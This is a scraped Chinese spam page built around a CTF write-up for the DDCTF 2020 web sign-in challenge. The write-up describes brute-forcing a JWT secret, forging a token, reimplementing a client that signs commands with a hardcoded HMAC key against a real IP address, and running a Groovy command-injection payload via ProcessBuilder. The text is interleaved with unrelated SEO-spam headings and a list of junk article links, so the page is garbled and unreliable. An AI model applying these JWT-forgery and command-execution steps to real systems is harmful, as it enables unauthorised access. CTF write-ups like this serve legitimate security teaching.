当前位置: 首页 > news >正文

购物网站html代码怎么做科技小制作视频网站

购物网站html代码,怎么做科技小制作视频网站,没有网站服务器空间如何用ftp,网络推广方案的步骤有哪些?2020 年 DDCTF 中 web 签到题题解。(web🐶只做出来这道题,第二天有事) web签到题 步骤1:JWT绕过 图1:题目给定初始条件。 向 api 发送请求,得到响应如下,data 的数据格式和 jwt 相似&#x…


2020 年 DDCTF 中 web 签到题题解。(web🐶只做出来这道题,第二天有事)

web签到题

步骤1:JWT绕过

图1:题目给定初始条件。

向 api 发送请求,得到响应如下,data 的数据格式和 jwt 相似,猜测为 jwt 绕过。

{"code": 0,"message": "success","data": 		"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6InN0ciIsInB3ZCI6InN0ciIsInVzZXJSb2xlIjoiR1VFU1QiLCJleHAiOjE1OTkyODY0NzB9.z-i_zjudu5yejiFbCnE9P5NIjOJE61Bzpw75OX1SHmg"
}

我只做过一次 JWT 绕过的题目,并且当时记笔记的习惯不好,早已忘记。于是先查询了一下 JWT 相关原理和基本步骤,初略指导该漏洞可以使用 5 种方式进行攻击。考虑从最简单的暴力破解 key 开始尝试,使用 Junay 大佬博客推荐的工具进行尝试,爆破出密码为 str(不同的人密码可能不同),然后到 https://jwt.io/ 进行 jwt 伪造,将伪造后的 jwt 发送到 auth interface 得到 client 下载链接。

图2:爆破得到的密码

步骤2:逆向绕过客户端

获得 client 后,由队里的其他大佬进行逆向分析,并制作模拟客户端的工具。

# -*- coding: utf-8 -*-
from base64 import b64encode
import hmac
import hashlib
from time import time
import requests
import json
from pprint import pprintwhile True:cmd = input()  # 发送的命令appkey = "DDCTFWithYou"time_stamp = str(int(time()))strToSign = cmd + '|' + time_stamp# hmac_sha256加密sha = hmac.new(bytes(appkey, encoding='utf-8'),bytes(strToSign, encoding='utf-8'),digestmod=hashlib.sha256).digest()sign = bytes.decode(b64encode(sha))# 发起POST请求url = "http://117.51.136.197/server/command"data = {"signature": sign,"command": cmd,"timestamp": time_stamp}res = requests.post(url=url,data=json.dumps(data))pprint(res.text)

步骤3:命令执行

判断后端语言,构造 payload。首先利用语言的运算符测试是否执行,总结存在哪些运算符,然后测试出字符串可以使用 length 函数,猜测可能该语言为「面向对象语言」,从逻辑运算符 != 和 length 函数猜测可能是 Java 衍生的语言(输入的命令以 # 定义变量,可使用 #a=1 测试)——Groovy,但是始终无法完美匹配。最终在一篇博客找到突破点,文章中的很多情景很符合该题目,测试 java.lang.String.class.forName("java.lang.Runtime”) 时出现 command is evil,断定为 Groovy。于是便开始寻找 Java 命令注入代码,网上大多数的命令执行大都是使用 Runtime 类或 Processbuider 类,但都是多行代码的形式,CVE-2015-1427 的 exploit 也无法执行。网上的命名只有一行为命令执行,我们猜测可以采用乱码方式进行回显,然后在本地解码,然后从 IDEA 自动补全找到 readAllBytes 函数,将数据读出。然后把读出的数据使用 Base64 解码就得到命令执行的结果。

图3:编程语言分类

code:一些关键性的测试

1 == true
#a = 1
{1}
'abc'.length()
'abc'.concat('d')
'12 '.trim()
'1234'.getBytes()
'hello'.startsWith('1')
new ProcessBuilder("ls").start().getInputStream().readAllBytes()

图4:使用 readAllBytes 读出数据
image-20200913234130453

将读出的数据使用 base64 解开即可。

http://www.yayakq.cn/news/551793/

相关文章:

  • 公司网站内容的更新宁波网络seo推广
  • 做传销一般是不是有网站网站制作手机端
  • 网站开发大全银川网站开发公司
  • lamp网站开发黄金组合 pdfdedecms wap网站模板下载
  • 织梦网站模板教程wordpress move 插件
  • 网站建设分析网站优化培训好学吗
  • 学做预算网站国家企业信息填报系统登录
  • wordpress网站推翻重建百度app智能小程序
  • 全国建设工程招标信息网站临沂市建设局网站公示
  • 企业网站 阿里云wordpress 调用文章内容
  • 商业设计网站有哪些设计师网站上海
  • 上海市工程建设协会网站东莞网站开发方案
  • 招聘网站可以做两份简历吗fusionaccess免费服务器
  • 微平台网站支持html5实现游戏营销策划好的网站
  • 聚美优品返利网站怎么做九一赣州人才网招聘
  • 视频网站怎么做动图网站建设及代运营合同
  • js网站源码下载网站服务器是干什么的
  • 湖北平台网站建设哪家好广东省建设工程监督站官方网站
  • 微信引流的十个方法企业网站seo优化方案
  • 安徽省芜湖建设定额网站广州市中智软件开发有限公司
  • 学校网站网页建设开题报告书龙华民治网站建设公司
  • 中文域名可以做网站吗做推广哪个食品网站好
  • 网站市场推广百度怎么发布网站
  • 做网站用虚拟主机怎么样网站生成软件
  • 网站升级维护中页面营销型网站案例 注册公司
  • 专门做招商的网站是什么意思吾爱主题wordpress
  • 无锡seo网站排名优化网站整合营销等服务
  • 温州建设工程信息网站线上营销手段
  • 网站升级维护中 模板wordpress 酷播
  • 下载的网站模板怎么使用网站备案怎么做